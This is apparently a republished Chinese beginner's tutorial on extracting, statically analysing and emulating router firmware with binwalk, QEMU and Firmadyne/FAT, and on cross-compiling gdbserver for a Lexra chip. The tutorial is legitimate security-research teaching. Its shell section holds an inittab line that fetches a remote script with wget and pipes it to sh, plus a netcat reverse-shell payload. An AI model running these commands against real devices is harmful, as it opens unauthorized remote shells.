序幕
这篇文章是关于我的个人经历;一个新手黑客,对路由器逆向的了解还很新,我必须面对的挑战,我所做的研究以及我在旅途中学到的东西,部分在我之前的文章中提到过。
在经历了模拟固件的经历后,我决定应该将我学到的所有资源和信息汇编到一个地方,以便初学者可以相对轻松地完成。
因此,我通过这篇文章分享的想法和资源将高度主观,与我的经验有关,并且这篇文章中可能会有一些错误。所以,如果你发现我在这篇文章中犯的任何错误,请与我联系。我将永远感激你提供的学习经验,并感谢你帮助我使这篇文章更加符合事实。
注意:由于路由器是嵌入式设备,并且在大多数嵌入式设备中执行逆向的步骤大致相同,因此在本文中我将交替使用术语路由器和物联网/嵌入式设备。
目录-序幕
-
如何查找固件中的漏洞?
-
为什么我们需要模拟固件?
-
如何获取固件?
-
如何提取固件?
-
提取打包的固件
-
使用 Binwalk 提取内容
-
可以执行固件模拟的虚拟机管理程序
-
如何进行固件模拟?
-
获取交互式 Shell
-
查找支持的 gdbserver 二进制文件
-
使用自定义工具链编译二进制文件
-
后记
如何查找固件中的漏洞?
我们可以通过无数种方式在 IoT/嵌入式设备固件中发现漏洞。以下是我们可以检查嵌入式设备漏洞的方法的非详尽列表。
我们可以提取嵌入式设备的固件并:
-
检查软件是否存在漏洞版本
-
检查硬编码的后门凭证
-
执行单个二进制文件来检查漏洞
-
模拟整个系统 用于动态分析
-
反编译二进制文件/库并执行静态分析
执行前两项检查所需的技能水平和难度水平非常低。借助一些命令行工具和 *nix 系统工作原理的基本知识,可以轻松完成前两项检查。但是,执行其余检查所需的技能水平及其相应的难度水平在给定列表中呈指数级增长。
下面给出一个表格,以便您一目了然地了解上述任务。
不同漏洞检查一览
为什么我们需要模拟固件?
正如我上面提到的,使用固件模拟整个系统将使我们能够对设备进行深入的动态分析。例如,路由器几乎总是会运行 Web 服务器。由于添加到设备的自定义功能可能驻留在嵌入式设备上的预编译二进制文件或库中,因此研究人员通常需要将二进制文件附加到调试器(例如用于gdb动态分析)。由于资源限制,gdbserver即使我们在设备上有 shell,也无法直接在嵌入式设备上执行。
我们可以尝试单独执行二进制文件,但这些二进制文件通常具有多个依赖项,并且在不模拟整个系统的情况下解决所有依赖项问题可能会非常复杂且耗时。
因此,对于动态分析设备,固件模拟是最好的方法。但是,如果您不了解基础知识或选择了错误的工具,固件模拟可能会很棘手。
注意:如果你想直接跳到如何模拟固件的部分,请跳过以下部分并阅读 “使用 FAT 实现完整系统模拟“。
为了模拟物联网设备,我们需要专门用于模拟 MIPS 系统的虚拟机管理程序。现在有些人可能会想,我们已经有几个可用的虚拟机管理程序,如 VirtualBox、VMWare Player。为什么我们需要这种低级工具来模拟固件?
如果你有这个问题,别担心。你并不孤单。我也有过同样的问题。这是因为我们需要支持不同类型的虚拟机管理程序CPU 模拟,以便可以模拟为特定 CPU 类型设计的固件。
[PS:维基百科上有一个很棒的页面 不同虚拟化软件之间的比较。查看不同的虚拟机管理程序和它们支持的客户 CPU,以了解我在说什么。]
大多数路由器和嵌入式系统都在具有MIPS(无互锁流水线阶段的微处理器)指令集架构的特定类型的RISC CPU上运行。因此,为了执行为 MIPS 编译的程序,虚拟机管理程序必须模拟 MIPS CPU 并将用于 MIPS CPU 的指令转换为主机系统的ISA(指令集架构);在我们的例子中是(x86 或 x64)。
既然“为什么”已经解决了,让我们来讨论“如何”吧。
如何获取固件?
固件模拟的第一步显然是获取嵌入式设备的固件。这在很大程度上取决于供应商的政策以及我们试图获取的设备年限。
YouTube 频道MakeMeHack的 Valerio深入讲解了如何获取固件。如果您喜欢精彩的视频版本,请观看他的视频;否则,请继续阅读。
https://www.youtube.com/channel/UCoyNuc5bJ-z4X-6OlpNtJUw
从供应商网站下载固件
最简单的方法是从供应商的网站下载固件。如果有公开可用的固件文件,那么我们可以简单地谷歌一下“供应商名称+型号+固件下载”我们就能很容易地得到它。
如果出于某种原因固件无法公开获取,那么我们就必须依靠更复杂的技术。下面给出了不依赖官方来源转储固件的技术。
使用 UART 转储固件
获取固件的最简单方法是使用UART。如果设备有暴露的调试(UART)引脚,那么我们可以连接串行连接器,并尝试在盒子上获取 shell。如果我们能够在盒子上获取 shell,那么我们可以尝试使用命令行将整个闪存转储到文件中。从这里和这里阅读有关此方法的更多信息。
使用 Bus-Pirate 转储固件
Bus-Pirate是一种串行通信设备,可以连接到嵌入式设备的JTAG调试端口并执行不同类型的分析和调试操作。这实际上是一个更难且相对昂贵的选择,如果您确定目标设备中启用了 JTAG 端口并且愿意购买 bus-pirate,则应该尝试一下。
如果您想定期摆弄不同的设备,Bus-pirate 确实是一项值得的投资。这里有一篇关于如何使用 Bus-Pirate 转储固件的文章。https://blog.isecurion.com/2017/07/06/dumping-the-firmware-from-the-device-using-buspirate/
在 OTA 升级期间嗅探固件文件
大多数嵌入式设备使用 HTTP 协议进行通信。由于资源限制,它们通常不实施 HTTPS。如果嵌入式设备具有 OTA 更新选项并且使用 HTTP 协议,那么我们可以利用这一点。我们可以使用 Wireshark 等嗅探工具嗅探嵌入式设备的流量,并发现设备如何请求 OTA 服务器以获取固件映像。
然后,我们可以从我们的 PC 对相同的 URL 执行相同的请求,或者我们可以使用 Wireshark 将嗅探到的数据包保存为文件。
但是,如果我们想转储路由器的固件,事情就会变得复杂。如果是这样,并且路由器能够将所有流量镜像到监控端口,那么事情就会变得容易。否则,我们将不得不进行中间人攻击,我认为这要困难得多。
PS:如果有 OpenWrt/DDWrt 路由器,那么我们可以将目标路由器连接到 OpenWrt 路由器,启用流量镜像并从那里嗅探目标路由器的流量。从中了解有关如何在 OpenWRT 路由器中执行流量镜像的更多信息 这里。
如何提取固件?
要提取固件,我们需要了解典型的嵌入式固件是如何打包的。通常,固件是一个.bin文件,其中嵌入了几个文件。
通常,固件二进制文件包含引导加载程序(uBoot)、内核文件、引导加载程序的内核头(uImage)、压缩文件系统(通常为SquashFS格式)、CRC/MD5 表(用于验证文件完整性)和其他杂项文件。
大多数文件将使用或其他压缩格式进行压缩lzma 以节省空间。
我们需要从单个.bin文件中提取单个文件。为此,我们必须使用 Linux 发行版。对于 Windows 用户,运行 WSL 实例就足够了。
现在您可以根据自己的喜好选择任何 Linux 发行版,因为我即将提到的所有工具都是 *nix 工具。但是,如果您是初学者,并且不想花太多时间编译工具,那么请选择我将在下面提到的两个发行版之一。
我建议运行AttifyOS或Ubuntu。
AttifyOS 是一款出色的 Linux 发行版,用于测试 IoT 安全性。没错!有一个发行版专门用于测试 IoT 安全性!
当我第一次了解 AttifyOS 时,我惊呆了,当我启动 AttifyOS 时,我被震撼了。
AttifyOS 团队已经预先安装并配置了我需要的用于此特定任务的所有工具,这为我节省了大量时间。AttifyOS 只是一种boot it and forget it体验。更棒的是,操作系统的默认 shell 是 Fish;这使得通过 CLI 导航变得轻而易举,无需任何额外配置。此外,AttifyOS 团队正在开发固件分析工具包;我将在稍后解释。
因此我强烈建议读者运行 AttifyOS,因为我在这里提到的所有工具都已在 AttifyOS 中安装和预先配置。
Attify OS 主屏幕
我在这里提到 Ubuntu 是因为根据我的个人经验和一些轶事,Ubuntu 存储库中已经提供了所有必需的工具,并且 Ubuntu 对初学者来说可能更为熟悉。
我们通常执行固件提取和分析所需的工具列表如下:
-
Binwalk – 从.bin文件识别并提取文件
-
Strings – 从文件中提取 ASCII 字符串
-
Lzma – 使用以下方法提取 lzma 压缩文件unlzma
-
Squashfs-tools – 使用以下方法提取 squashfs 文件系统unsquashfs
-
File – 使用 MagicBytes 识别文件类型
-
DD – 将重复文件从一个地方/文件提取到另一个地方/文件
提取打包的固件
我将使用示例路由器固件并逐步演示提取过程。
PS:我可能不会使用示例中提到的所有工具,因为工具的使用因固件而异。
这里,我有一个固件,名字很贴切firmware.tar
幸运的是,固件文件位于 tar 存档中,而不是.bin文件。这意味着我可以轻松查看和提取文件的内容,而无需依赖诸如binwalk识别和提取固件中嵌入的文件之类的工具。
让我们使用以下命令查看 tar 存档的内容。
tar -tvf firmware.tar
我得到了以下文件列表。
下面给出了文件名及其简要说明。
-
fwu.sh – 固件更新脚本
-
rootfs – 压缩的根文件系统
-
uImage – Linux 内核映像
-
fwu_ver – 包含新固件版本号的 ASCII 文本文件
-
md519.txt – 用于文件完整性检查的哈希列表
好的,现在文件内容已经清楚了,让我们提取 tar 存档。我使用以下命令将firmware.tar存档文件的内容提取到名为的子目录中extracted。
mkdir extracted
tar -xvf firmware.tar -C extracted/
现在档案已解压,让我们运行file提取的内容。
我们可以看到该rootfs文件是一个squashfs文件系统;它是一种压缩的只读文件格式。让我们使用unsquashfs命令解压文件系统。
该unsquashfs命令创建了一个名为的目录squashfs-root,并将文件的内容提取rootfs到其中。
现在已经解压了,我们来看一下解压的文件系统。
太棒了!我们可以看到类似于 *nix OS 的目录列表!
我们可以用提取的文件系统做很多事情。
/etc/passwd例如,我们可以使用我们的 unix 命令行技能来寻找或中的硬编码后门凭据/etc/shadow、在不同的配置文件中寻找纯文本密码、检查中的易受攻击的配置文件/etc/、检查中的初始化脚本/etc/init.d等等!
我们还可以检查软件/内核的易受攻击的版本,反编译二进制文件/库。
专业提示#1:使用grep -Ri 'password|passwd|pass' * 2>/dev/null,当在 /etc、/var 等目录中时,列出包含字符串的文件password 或者密码或者pass。
关于固件提取的进一步阐述可以在网上找到。以下是一些关于固件提取的优秀资源,我从中了解到了固件提取的知识。
-
Valerio 关于固件提取的精彩视频
https://www.youtube.com/watch?v=-AYmTMILsM8
-
Tony Gambacorta 关于固件提取的视频
https://www.youtube.com/watch?v=GIU4yJn2-2A
-
linkcabin 关于固件提取的视频
https://www.youtube.com/watch?v=tmnvJe-TkJQ
-
Embedded Bit 关于固件提取的文章(从步骤 4 开始阅读)
https://embeddedbits.org/2020-02-20-extracting-firmware-from-devices-using-jtag/
使用 Binwalk 提取内容
我已经解释了如果固件文件位于普通档案中,如何提取固件。但是,如果文件是.bin文件怎么办?
如果我们想从.bin文件或未知文件格式中提取内容,或者如果file工具返回的文件类型为data,我们可以使用binwalk来识别并从文件中提取内容。Binwalk是一个易于使用的工具,可用于分析、逆向工程和提取固件映像。Binwalk 将在文件中搜索熟悉的文件签名,我们可以从中提取已识别的文件。
为了演示 的使用binwalk,我将提取uImage文件;这是一个 Linux 内核映像。它包含一个头文件和一个压缩的内核映像文件。
binwalk uImage
我们可以看到文件中嵌入了两个文件uImage。
一个 uImage Header 和一个 LZMA 压缩的内核映像。如果我们查看十进制部分,我们可以看到 uImage Header 文件部分从uImage文件中的 0 字节开始,一直延伸到 64 字节。然后 LZMA 压缩文件部分从 64 字节之后开始,一直延伸到文件末尾uImage。
现在,如果我们想提取检测到的所有内容binwalk,那么我们可以将-e标志指定为binwalk,并将binwalk自动将识别的文件提取到名为的文件夹中_$文件名.提取; 在哪里$文件名被替换为我们指定的文件的名称。
binwalk -e uImage
Sweet!
Binwalk将其从文件中提取出的识别文件保存uImage到名为的目录中_uImage.extracted。
现在让我们strings对提取的文件运行命令,执行一些快速静态分析。
strings -n 6 40 |less
上述命令将在指定文件中搜索可打印字符,字符串长度 >= 6 个字符。
我得到了如下所示的信息。
我们获得了一些有用的信息,例如内核版本、gcc 版本和用于编译路由器程序的工具包版本,即 Realtek RSDK 1.5.6p2。
在搜索设备中的漏洞、调试或为设备编译自定义可执行文件时,这些信息可能会派上用场。
PS:下篇“使用 dd 从文件中提取数据”可以跳过。但是,知道如何使用诸如此类的优秀工具dd是我们必备的一项技能。
奖励:使用 dd 从文件中雕刻数据
我已经解释了如何使用 提取数据文件binwalk。但是,如果我们只想从二进制文件中提取一个文件怎么办?
比如说,我只想从uImage文件中分割出 LZMA 压缩的内核映像文件。如果我只想要一个文件,我可以使用该dd实用程序从二进制文件中分割出特定的文件。
让我用一个例子来说明这一点。
从上面的binwalk输出中,我可以看到uImage文件头从 0 字节开始。我可以通过从下一个文件的十进制大小中减去起始字节来估算文件头的大小。
简单来说,如果我想计算文件F1的大小,那么可以通过下一个文件F2的起始字节减去F1的起始字节来计算。
这里,下一个文件(LZMA 压缩内核)的起始大小为 64。因此,的大小uImage header将是0-64=64字节。
我们现在可以使用dd命令来仅提取uImage Header。
dd if=uImage bs=1 skip=0 count=64 of=header.img
此命令将读取uImage文件,从第 0 个字节开始到第 64 个字节。然后它将内容保存到名为 的输出文件中header.img。
dd命令标志解释。
-
if – 输入文件名
-
BS – 块大小
-
skip – 从哪个字节开始读取
-
count – 读取最多此字节
-
of – 输出文件名
注意:此处,skip=0是可选的,因为dd默认情况下从文件开头读取。此外,如果我们想从 uImage 中雕刻最后一个文件,则count可以跳过该标志,因为默认情况下,dd读取到文件末尾。
dd 的输出
这种方法的缺点是,如果我们不计算文件的大小,那么写入的输出文件很可能会被损坏。所以,在阅读dd之前,请记住这一点。dd
可以执行固件模拟的虚拟机管理程序
现在我们已经提取了固件的内容并执行了一些静态分析,那时我们可能需要开始执行二进制文件或模拟整个系统;以便我们可以重现正在运行的设备的状态并执行动态分析。
在开始之前,让我们先熟悉一下固件模拟所需的一些工具。
选择一种工具来模拟固件完全取决于研究人员的时间和他们想要实现的最终目标。
例如,如果研究人员只需要快速检查一个二进制文件,他们可能会使用 QEMU 用户模式模拟。但如果他们需要通过网络进行通信进行调试,那么他们可能会使用 QEMU 完整系统模拟模式。
我们可以使用多种工具来模拟嵌入式固件。它们是:
-
QEMU
https://github.com/qemu/qemu
-
Firmadyne
https://github.com/firmadyne/firmadyne
-
Firmware Analysis Toolkit
https://github.com/attify/firmware-analysis-toolkit
-
Qiling
https://github.com/qilingframework/qiling
-
Unicorn Engine
https://github.com/unicorn-engine/unicorn
-
Usercorn
https://github.com/lunixbochs/usercorn
-
Binee
https://github.com/carbonblack/binee
可能还有其他几个,但就我的研究而言。这些是最好的。其中,我只谈论其中三个。
QEMU、Firmadyne 和固件分析工具包。
QEMU工具
其中最强大和最底层的工具是 QEMU。QEMU是 一个免费的开源虚拟 机管理程序。它通过动态二进制翻译模拟机器的处理器 ,并为机器提供一组不同的硬件和设备模型。QEMU 还可以模拟用户级进程,允许为一种架构编译的应用程序在另一种架构上运行。
QEMU 有不同的操作模式。但是,考虑到本指南的范围,我们只需要了解两种模式:
-
用户模式模拟
-
全系统仿真
QEMU:用户模式模拟
在此模式下,QEMU 将运行针对不同平台编译的单个二进制文件。使用此功能,我们可以执行某种程度的动态分析并运行程序,而无需进行完整的系统模拟。
QEMU:完整系统模拟
在此模式下,QEMU 模拟完整的计算机系统,包括 外围设备。QEMU 可以启动许多客户 操作系统,包括 Linux、 Solaris、 Microsoft Windows、 DOS和 BSD。它还支持模拟多种指令集,包括 x86、 MIPS、32 位 ARMv7、 ARMv8、 PowerPC、 SPARC、 ETRAX CRIS 和 MicroBlaze。
但由于 QEMU 级别太低,我很难配置它。即使在它启动了完整的系统模拟之后,由于某些路由器特定的配置,模拟中仍存在一些错误。
因此,如果您有特定的用例或以前有使用 QEMU 的经验,或者时间限制对您来说不是问题,请继续尝试不同的 QEMU 配置!
但对于初学者来说,我不建议直接依赖 QEMU 进行完整系统模拟。
Ringzerolabs 有一个关于使用 QEMU 进行 MIPS 仿真和为 MIPS 交叉编译程序的基本方法的优秀教程(如果没有可用的预编译二进制文件,则需要编译 gdbserver)。
另一篇优秀的文章来自 Zerodayinitiative,其中他们详细讨论了通过 QEMU 进行固件模拟。
Firmadyne工具
Firmadyne是一个自动化、可扩展的系统,用于执行基于 Linux 的嵌入式固件的仿真和动态分析。
简而言之,Firmadyne 建立在 QEMU 之上,就像是 QEMU 的强化版。Firmadyne 支持 QEMU 用户模式和完整系统模拟,并且拥有大量出色的功能。Firmadyne 的功能包括内置提取器(用于从下载的固件中提取文件系统和内核)、小型控制台应用程序(用于生成额外的 shell 进行调试)、抓取工具(用于从 42 多个不同供应商处下载固件)、漏洞检查器脚本等等。
使用非常简单,但需要一些初始配置才能开始。
固件分析工具包
固件分析工具包 (FAT)是 AttifyOS 团队开发的用于自动化 Firmadyne 的脚本。FAT 非常易于使用,可处理 Firmadyne 中的初始配置工作。
FAT 的配置非常小,我们只需要在fat.config文件中指定 sudo 密码和 Firmadyne 的路径。
之后,使用 FAT 模拟固件非常简单。只需指定固件文件,固件就会自动提取,内容将被复制到 firmadyne 的文件夹中,如果我们想要,FAT 将启动完整的系统模拟!
是的。就这么简单。
FAT 的层次结构
如何进行固件模拟?
我已经解释了如何获取固件、如何提取固件以及如何使用grep 和执行基本的静态分析strings。我还讨论了用于模拟嵌入式固件的不同工具。现在,让我谈谈重头戏:如何模拟固件。
使用 QEMU 用户模式模拟来模拟单个程序
要模拟固件,我们首先需要确定目标设备的指令集架构和字节序。在我们的例子中,目标设备具有 MIPS 架构,字节序为大端。它也被称为最高有效位 (MSB) 架构,因为大端架构将字节排列为最高有效字节位于最低编号的地址。所以,简而言之,它将被表示为mipseb或只是mips。
如果目标设备具有 MIPS 架构,且字节序为 Little Endian,则表示为mipsel。Little-Endian 也称为最低有效位 (LSB) 架构,因为 Little-endian 处理器按多字节值的最低有效字节在最低编号的内存位置中对内存中的字节进行排序。
现在请将这些信息牢牢记在心里。
查找字节顺序的最简单方法是使用file工具。
file只需对固件提取的文件系统中的任何一个可执行文件使用命令即可。
我们可以看到file返回了相当多的信息。我们可以看到二进制文件busybox是为具有 32 位 MIPS -I 版本 CPU 的设备编译的,具有 MSB(大)字节序。即,此特定设备的架构表示为mipseb或只是mips。
现在我们已经确定了处理器 ISA 和 Endianess,让我们找到模拟用户模式程序所需的工具。
该工具名为qemu-user-static。在基于 Debian 的系统中,我们可以使用 安装此工具sudo apt install qemu-user-static。
一旦安装完成,我们将拥有相当多的 QEMU 静态链接二进制文件来模拟不同 CPU 类型的程序。
qemu-user-static用于模拟用户模式下程序的二进制文件列表
现在我们需要选择一个合适的程序。
我们需要的是一个名为 的静态二进制文件。这是 QEMU 的静态编译版本,我们可以使用它来执行用户模式模拟。由于我的目标 ISA 是,所以我正在寻找一个名为
qemu-<CPU-TYPE>-staticmipsqemu-mips-static.
我要将二进制文件复制到解压的 squashfs 文件夹中。我们需要 root 权限才能执行此操作。
我们可以使用下面的命令将二进制文件复制到提取的文件 squashfs 系统。
cd squashfs-root/
cp $(which qemu-mips-static) .
现在,我要chroot 进入 squashfs 文件夹并ls在 squashfs 文件系统bin文件夹内执行命令。
sudo chroot . ./qemu-mips-static bin/ls
该ls工具实际上是为 MIPS CPU 编译的,我们现在在 x64 CPU 中执行该程序!很酷吧!?
现在,如果我们尝试运行动态链接二进制文件,可能会弹出缺少库文件的错误。如果是这种情况,那么我们可以使用 LD_PRELOAD 或 LD_LIBRARY_PATH 环境变量指定缺少库文件的路径qemu-user-static。
sudo chroot . ./qemu-mips-static -E LD_LIBRARY_PATH="/lib/" bin/ls
qemu-user-static还有一些很酷的内置功能,如打印strace(Flag -strace)、内置gdbserver(Flag -g <PORT-NUMBER>)等,这使得调试更容易。
将 gdb-multiarch 附加到 gdbserver
一旦gdbserver激活,我们就可以连接到gdbserver端口并调试程序。但是,我们需要一个特殊版本的gdb才能这样做。该程序称为gdb-multiarch,它支持多种架构,而不是原生架构。
要安装gdb-multiarch,基于 Debian 的发行版用户可以使用
sudo apt install gdb-multiarch
安装它,安装完成后,我们可以使用 打开该程序gdb-multiarch。
然后我们可以指定所需的架构。这可能有点困难,因为有几种架构可供选择。
在里面gdb-multiarch,输入set architecture并按 TAB 来查看完整支持的架构列表。
仅 MIPS CPU 就有多个版本。需要对目标设备的芯片进行一些研究才能找到确切的版本。但是,如果您不知道确切的架构,则将架构设置为auto,系统gdb-multiarch会自动检测架构。
set architecture auto
仅 MIPS CPU 就有多个版本。如果我们对架构有一些想法,那么我们通常可以将通用名称设置为 中的目标架构gdb。就我而言,我将架构设置为mips。
然后我们可以gdbserver使用以下命令连接到本地运行的实例,假设gdbserver它在本地主机的端口上运行5555。需要对目标设备的芯片进行一些研究才能找到确切的版本。但是,如果您不知道确切的架构,则将架构设置为auto,系统gdb-multiarch会自动检测架构。
target remote localhost:5555
并将gdb-multiarch启动调试过程!
使用 FAT 实现完整系统模拟
上面我已经提到过固件分析工具包。现在,我将使用固件分析工具包 (FAT) 执行完整的系统模拟。
我们还可以使用 QEMU 执行完整的系统模拟,但其中涉及很多步骤,例如获取.qcow2MIPS CPU 的映像和 debian 内核映像等。如果您有兴趣使用 QEMU 模拟固件,我强烈建议读者阅读ringzerolabs 的这篇精彩文章。否则,请继续阅读。
我们可以从github repo克隆 FAT ,也可以下载AttifyOS的虚拟机文件。我推荐后者,因为它更容易,并且所有工具都将预先配置!
安装 FAT 后,将固件文件复制到 FAT 的目录中。我们只需编辑该fat.config文件并在其中输入 sudo 密码即可。
注意:运行 FAT 是 一次性流程 一旦初始提取和模拟成功,我们就可以从 Firmadyne 的文件夹运行进一步的模拟。
现在运行名为的 python 脚本fat.py并将固件的名称传递给它。
./fat.py firmware.tar
过一段时间后,您将看到以下屏幕。
记下图像 ID 和网络接口的 IP 地址。此处的图像 ID 为1,IP 地址为192.168.101.1。
这里发生的事情是 FAT 自动提取固件、配置 firmadyne 并将内容复制到 firmadyne 的 Image ID:1 文件夹中。完成后,我们可以通过运行 再次启动固件模拟。
firmadyne/scratch/<image-id>/run.sh
此处的 Image Id 为1,因此如果我想再次模拟固件,则需要运行脚本。在 Attify 中,路径将是 的子目录。
firmadyne/scratch/1/run.shfirmadynefirmware-analysis-toolkit
注意:运行之前,您需要进入firmadyne/scratch/<image-id>/目录./run.sh,否则可能会失败。
现在,一旦 FAT 显示了如上图所示的输出,我们只需按回车键,FAT 就会开始使用进行模拟firmadyne。
过一段时间后,您可能会收到一些重复的错误消息,如下所示。
这些消息是由于在系统仿真期间未满足固件特定的依赖关系而发生的。当我在大量错误输出期间按下 Enter 键时,我短暂地看到了控制台登录页面,但由于滚动错误,我无法输入凭据。
此错误输出期间通常发生的主要问题是,我们无法通过控制台登录。让我们在下一节讨论如何修复此问题。至于现在,让我们跳过修复此错误消息并检查网站是否正在运行。
我尝试通过 FAT 之前显示的 IP 地址访问路由器。即192.168.101.1。
我得到了网页登录页面!
如果要停止模拟,请在控制台上按 Ctrl + A。然后松开这两个键并按 X。QEMU 将退出并且模拟将停止。
就像我之前说过的,如果您想再次运行模拟,请进入firmadyne/scratch/1/并执行run.sh以启动模拟。
获取交互式 Shell
现在模拟运行完美,我们需要一些方法来调试程序。为此,我们通常需要在模拟设备上使用交互式 shell。有多种方法可以在目标设备上访问控制台。
通过 QEMU 控制台登录
这是在模拟机上获取 shell 的最简单方法。一旦 firmadyne 启动客户设备操作系统,我们(通常)会收到登录应用程序的提示。然后我们可以通过输入有效凭据登录到控制台。
正如我之前提到的,可以通过阅读设备的用户手册或对固件进行静态分析来获取默认/硬编码的凭据。
通过 SSH/Telnet 登录
这是在模拟设备上获取 shell 的另一种简单方法。如果目标设备的固件支持 SSH/Telnet 访问,那么我们通常可以从路由器的 Web 界面启用它。然后我们可以使用终端通过 SSH/Telnet 登录到设备。
但是如果模拟设备的固件不支持这些选项,那么我们就必须采取其他方式来生成 shell。
我之前提到过,一旦启动模拟,我就会收到大量错误输出,并且无法使用 QEMU 控制台登录。
好吧,我并不担心这个,因为我的路由器固件有 Telnet 功能。但如果没有,那么我会有一些选择。
-
使用 inittab 文件获取反向 shell
-
修复固件依赖性或抑制错误输出
-
查找 Web 界面中的漏洞并获取 shell
在我看来,修复固件依赖关系是一件令人头疼的事情,如果仿真正常运行,我就不会费心去做这件事。但我们可以尝试通过使用 重定向错误来抑制错误2>/dev/null。我们可以将 附加2>/dev/null到 中的文件和脚本调用的命令/etc/inittab中/etc/init.d。但这不是保证有效的方法。所以,如果其他方法都不起作用,就试试这个。
获取 shell 最困难的方法是搜索 Web 界面中的漏洞并获取 shell。考虑到我们已经可以访问固件,这可能是可行的;但可能很耗时。
这两种方法可能非常困难。但我们有一种方法可以轻松获得目标的 shell。我们可以利用 Firmadyne 的功能来取回 shell。
使用 inittab 获取反向 shell
我们可以通过执行名为 image ID 的内置脚本来挂载 Firmadyne 中 Image 的文件系统mount.sh。利用 firmadyne 的这一功能,我们可以获得反向 shell。
例如,我可以使用以下命令从目录中挂载固件的文件系统firmadyne。
sudo scripts/mount.sh 1
文件系统将挂载在。在我的例子中,它被挂载在firmadyne/scratch/<Image-id>/image/firmadyne/scratch/1/image/
我们可以使用以下命令卸载已挂载的文件系统。
sudo scripts/unmount.sh 1
安装模拟设备的文件系统对于分析模拟设备和传输文件非常有帮助。
我们将要修改模拟设备的/etc/inittab文件,以重新获得 shell。
对于初学者来说,该/etc/inittab文件用于控制初始化过程。因此,无论我们输入到这个文件中什么,都会在启动过程中执行。
我们将在设备的文件中添加以下行/etc/inittab。
::respawn:/bin/wget -qO- 192.168.101.2/rev.sh|sh
一旦我将这一行添加到inittab文件中,我就保存了它。
rev.sh此命令将从主机的python http 服务器获取反向 shell 脚本并将其传送到 shell。其内容rev.sh如下所示。
rm /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.101.2 4242 >/tmp/f
这里我使用了Netcat BusyBox 反向 shell 载荷。我之前的文章中已经解释了这个反向 shell 载荷。如果你对载荷感到困惑,可以参考一下。
一旦 python http 服务器和 nc 监听器运行起来,启动模拟,我们就会得到一个反向 shell!
现在我们在模拟设备上有了一个交互式 shell。下一步是开始调试。为此,我们需要一个gdbserver针对目标系统的静态编译二进制文件。
查找支持的 gdbserver 二进制文件
我们现在已经获得固件、提取固件、执行基本静态分析、执行完整系统仿真并获取目标上的交互式 shell 访问。
现在,我将解释如何找到合适的gdbserver二进制文件。这部分看起来相当简单,但在我解释完之后,您就会明白为什么我专门为此设置了一个部分来解释如何获取二进制文件。
执行完整系统模拟后,我想要对二进制文件进行调试httpd。为此,我们需要gdbserver在模拟设备上运行,以便将正在运行的进程附加到它。
对于那些懒得去寻找工具链、配置和编译的人gdbserver来说,这里有一个来自 stayliv3 的优秀存储库,预编译静态gdbserver二进制文件,适用于不同版本的 MIPS、ARM 甚至 Lexra 架构。我要向 stayliv3 表示衷心的感谢,感谢他完成了这项工作!
我还在我的 github repo 中上传了针对 Lexra 架构的静态编译的 gdbserver v 7.7 。
就我而言,我想要一个gdbserver适用于 Lexra 架构的版本 > 7.1.2。但是,它在 stayliv3 的 repo 中不可用。所以我需要手动编译所需版本的 gdbserver。
我需要gdbserver版本 >7.1.2因为我的客户端是版本 > 7.1,并且在及以上版本gdb中有一些变化,这使得客户端在连接到旧版本时的行为有所不同。7.1gdbgdbserver
但首先,我们需要找到适合目标设备的 CPU 的支持工具链。
Firmadyne 的 github 页面上有一小部分工具链和编译二进制文件的说明。
但就我而言,我有一个RTL8672芯片组,显示它是 MIPS 架构。它表现得像 MIPS,但实际上不是 MIPS 架构。我尝试在gdbserver模拟设备上编译和运行并失败了好几次,从中吸取了教训。
正是在那时,我深入研究并发现了一条关键信息:RTL8672芯片组并非真正的 MIPS 架构。由于专利问题,它是一种略有不同的架构,名为Lexra,与 MIPS 兼容。因此,我不能用通常的 MIPS 编译器来编译程序。
这就是我们在初始静态分析期间获得的信息派上用场的地方。
我们从内核镜像中获取的 SDK 版本
我利用这些信息找到了编译 Lexra 架构二进制文件所需的不同工具链。
使用自定义工具链编译二进制文件
我搜索了 SDK 版本,发现了一个有趣的repo,里面有几个类似的工具链/SDK。感谢mzpqnxow提供这些 SDK,因为其他地方几乎找不到。
经过反复试验,我终于成功使用了mzpqnxow的rsdk-1.3.6 repo。
我已经克隆了 SDK 存储库并下载了gdb的源代码(版本号为 )7.7。(7.7 以上的版本又有一些重大更改,我现在不记得了)
然后我导航到该rsdk-1.3.6文件夹并输入以下命令。
source rsdk-1.3.6-toolchain/activate
然后我提取了 gdb 的 tar 档案并导航到 cd gdb-7.7/gdb/gdbserver/;因为我gdbserver只打算进行编译。
然后我输入以下命令,开始gdbserver使用 Lexra 的自定义工具链进行编译。
make clean;./configure --host="mips-linux-gnu" --target="mips-linux-gnu" CC="mips-linux-gnu-gcc" CFLAGS='-fPIC -static' CXXFLAGS='-fPIC -static'
使用 cross_configure 时不需要 host 和 target 标志。Cross_configure 是由 activate 脚本设置的别名,用于./configure --host="mips-linux-gnu" --target="mips-linux-gnu"
我们还可以使用以下内容configure。
make clean;cross_configure CC="mips-linux-gnu-gcc" CFLAGS='-fPIC -static' CXXFLAGS='-fPIC -static'
现在,输入make来编译gdbserver。
make -j
注意:现在,如果由于某种原因编译失败,那么通常的罪魁祸首是命令未能为我们配置自定义编译器。如果是这种情况,请在运行标志source activate中明确指定编译器的路径。CCconfigure
如果配置步骤失败,请尝试在 bash shell 中运行脚本。
make clean ;./configure --host="mips-linux-gnu" --target="mips-linux-gnu" CC="/home/iot/router/rsdk-1.3.6-toolchain/rsdk-1.3.6/bin/mips-linux-gcc" CFLAGS='-fPIC -static' CXXFLAGS='-fPIC -static';make -j
就是这样!我们已gdbserver使用自定义工具链成功编译了 Lexra 架构的源代码!
您可以从我的 Github repo 下载适用于 Lexra 的 gdbserver 7.7 的预编译静态版本。
后记
就是这样!
我已尽力将我作为初级逆向工程师的第一次经历转化为一份易于遵循的初学者指南(相对而言),以便他们可以轻松地开始逆向他们的第一个路由器。
我要感谢那些相信开源软件并无私地将作品上传到 github、youtube 和各种博客的人,他们为世界传授了宝贵的经验。我还要向 discord 服务器、reddit 社区和 stackexchange 论坛的人们表示衷心的感谢,他们对待同为菜鸟的兄弟们非常友好。
原文始发于微信公众号(Ots安全):路由器黑客和固件仿真初学者指南
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论